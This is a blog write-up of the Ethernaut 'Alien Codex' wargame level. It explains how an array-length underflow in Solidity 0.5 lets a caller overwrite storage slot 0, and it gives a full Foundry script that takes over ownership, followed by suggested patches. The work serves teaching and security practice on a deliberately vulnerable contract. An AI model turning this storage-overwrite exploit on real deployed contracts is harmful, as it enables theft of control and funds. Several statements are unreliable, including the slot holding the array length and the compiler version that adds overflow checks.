Skip to main content

Command Palette

Search for a command to run...

Ethernaut-19-Alien Codex

Openzeppelin Ethernaut Series

Updated
•4 min read•View as Markdown
Ethernaut-19-Alien Codex
W

Please don't OSINT me, I'd be shy. 🫣

Challenge

You've uncovered an Alien contract. Claim ownership to complete the level.

Things that might help

  • Understanding how array storage works

  • Understanding ABI specifications

  • Using a very underhanded approach

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

Solve

I think this is the toughest challenge in the Ethernaut series.

AlienCodex contract imported Ownable-05.sol, we can find it in Ethernaut source code repo.

Variables declared by the inherited contract will occupy storage first, so the slot of Ownable._owner is in AlienCodex.slot0. Our goal is to find a path to overwrite slot0.

BTW, Ownable._owner and AlienCodex.contact are packaged together as shown below:

contract AlienCodex is Ownable {
    address private _owner; // slot0 (lower bits  | slot0 right-side)
    bool public contact;    // slot0 (higher bits | slot0 left-side)
    bytes32[] public codex; // slot1...?
}

We can notice that the AlienCodex contract is compiled using solidity 0.5.0, which means it does not have built-in overflow/underflow protection, including dynamic arrays.

It’s time to learn how dynamic arrays are stored in storage!

The first principle is: the slot occupied by dynamic array, the value placed in it is the total length (array.length) of the array!

bytes32[] public codex occupied slot1, so the slot0 is stored codex.length.

The second principle is: elements of the dynamic array are stored at keccak256(slot_num) + offset.

For example, assuming there are 3 elements in codex:

// `codex` is decleared on slot1
codex.push(0xa);
codex.push(0xb);
codex.push(0xc);

The offsets are:

codex.push(0xa); // offset = 0
codex.push(0xb); // offset = 1
codex.push(0xc); // offset = 2

Then, we can know which slot these three elements exist by the formula:

slot_num = 1 # where the `codex` been decleared

keecak256(slot_num) + 0 # 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
keecak256(slot_num) + 1 # 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7
keecak256(slot_num) + 2 # 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf8

But hey! Isn’t the value of slot1 allowed to underflow, right?

pragma solidity ^0.5.0;

function retract() public contacted {
    codex.length--;
}

This means we have an opportunity to set the value of slot1 to type(uint256).max - 1!

What does this mean? this means that we can use revise(uint256 i, bytes32 content) function to set any bytes32 value to slot[keecak256(SLOT=1) + uint256(i)]!!

Please remember that a smart contract can have 0 to 2**256-1 storage slots, and the allowed value range of uint256 i is also 0 to 2**256-1.

So the remaining question becomes: how do we find the correct uint256 i so that codex[i] = _content can be overwritten to slot0?

Well, since _owner is stored in slot0, so we only need to find the offset of slot[MAX] relative to slot1 (codex), and then write the new owner address at that slot[offset + 1].

Here’s pseudocode:

bytes32 slot_index_of_first_element_of_codex = keccak256(abi.encode(uint256(1)));
bytes32 MAX_BYTES32 = bytes32(type(uint256).max);
bytes32 array_index_that_occupied_the_slotMAX = bytes32(uint256(max_bytes32) - uint256(slot_index_of_first_element_of_codex));

// N is the offset of slot0 relative to slot1
bytes32 N = bytes32(uint256(array_index_that_occupied_the_slotMAX) + 1)

Full solution code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

contract Solver is Script {
    address allien_codex = vm.envAddress("ALIENCODEX_INSTANCE");

    function setUp() public {}

    function run() public {
        vm.startBroadcast(vm.envUint("PRIV_KEY"));

        // 使 slot1 的值等於 keccak256(1))
        allien_codex.call(abi.encodeWithSignature("makeContact()"));
        allien_codex.call(abi.encodeWithSignature("retract()"));

        // 取得: codex 的第一個元素所佔用的 Storage Slot Number
        bytes32 slot_index_of_first_element_of_codex = keccak256(abi.encode(uint256(1)));

        // 取得: 對於 codex 來說,index 需要多少偏移量才能達到 Storage Slot 0
        bytes32 max_bytes32 = bytes32(type(uint256).max);
        bytes32 array_index_that_occupied_the_slotMAX = bytes32(uint256(max_bytes32) - uint256(slot_index_of_first_element_of_codex));

        // 檢查: codex 的第一個元素,佔用的 Storage Slot Number 加上偏移量,應該要等於 0xffff....ffff
        assert(uint256(slot_index_of_first_element_of_codex) + uint256(array_index_that_occupied_the_slotMAX) == type(uint256).max);

        allien_codex.call(abi.encodeWithSignature("revise(uint256,bytes32)", uint256(array_index_that_occupied_the_slotMAX)+1, bytes32(abi.encode(vm.envAddress("MY_EOA_WALLET")))));


        vm.stopBroadcast();
    }
}
forge script Ethernaut19-AlienCodex.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast

Potential Patches

  1. Using SafeMath for arithmetic operations.
pragma solidity ^0.5.0;

import "@openzeppelin-contracts/contracts/math/SafeMath.sol";

contract AlienCodex is Ownable {
    using SafeMath for uint256;
}
  1. Using solidity <=0.8.0 to get build-in arithmetic overflow/underflow protection.
pragma solidity ^0.8.0;

contract AlienCodex is Ownable {
}
21 views